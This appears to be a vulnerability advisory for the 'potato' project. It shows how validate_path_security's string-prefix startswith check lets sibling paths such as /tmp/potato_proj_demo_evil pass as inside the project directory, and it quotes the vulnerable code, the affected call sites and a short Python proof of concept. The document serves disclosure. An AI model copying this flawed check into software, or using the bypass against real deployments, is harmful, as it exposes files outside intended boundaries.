취약점

Summary

validate_path_security uses string-prefix containment (startswith) for boundary checks. This allows paths that are outside the intended project directory but share its prefix string (e.g., /tmp/potato_proj_demo_evil/... vs /tmp/potato_proj_demo) to be accepted.

Details

Affected source location (root cause)

File: potato/server_utils/config_module.py

Snippet (lines 370–373):

real_path = os.path.realpath(normalized_path)
real_base = os.path.realpath(base_dir)
if not real_path.startswith(real_base):
    raise ConfigSecurityError(...)

Snippet (lines 384–389):

real_path = os.path.realpath(normalized_path)
check_dir = project_dir if project_dir else base_dir
real_check_dir = os.path.realpath(check_dir)
if not real_path.startswith(real_check_dir):
    raise ConfigSecurityError(...)

startswith() is string-based, so /tmp/potato_proj_demo_evil/... passes when checked against /tmp/potato_proj_demo.

Confirmed affected call sites

File: potato/server_utils/config_module.py

1. validate_file_paths task_dir branch (line 2113)

validated_task_dir = validate_path_security(task_dir, project_dir)

2. validate_file_paths data_files branch (line 2151)

validated_path = validate_path_security(file_path, base_dir, project_dir)

3. validate_training_config training.data_file branch (line 2286)

validated_path = validate_path_security(data_file, base_dir, project_dir)

PoC

from potato.server_utils.config_module import validate_path_security

base = '/tmp/potato_proj_demo'
vuln = '/tmp/potato_proj_demo_evil/file.txt'

try:
    print('inside=', validate_path_security('/tmp/potato_proj_demo/file.txt', base, base))
except Exception as e:
    print('inside_error=', type(e).__name__, e)

try:
    validate_path_security('/tmp/other_demo/file.txt', base, base)
except Exception as e:
    print('baseline=', type(e).__name__, e)

print('trigger=', validate_path_security(vuln, base, base))

Impact

• Can allow unauthorized sibling-prefix file access outside intended project boundary.
• Can affect read paths (data_files, training.data_file, base_css, header_logo) and output/path placement depending on configuration.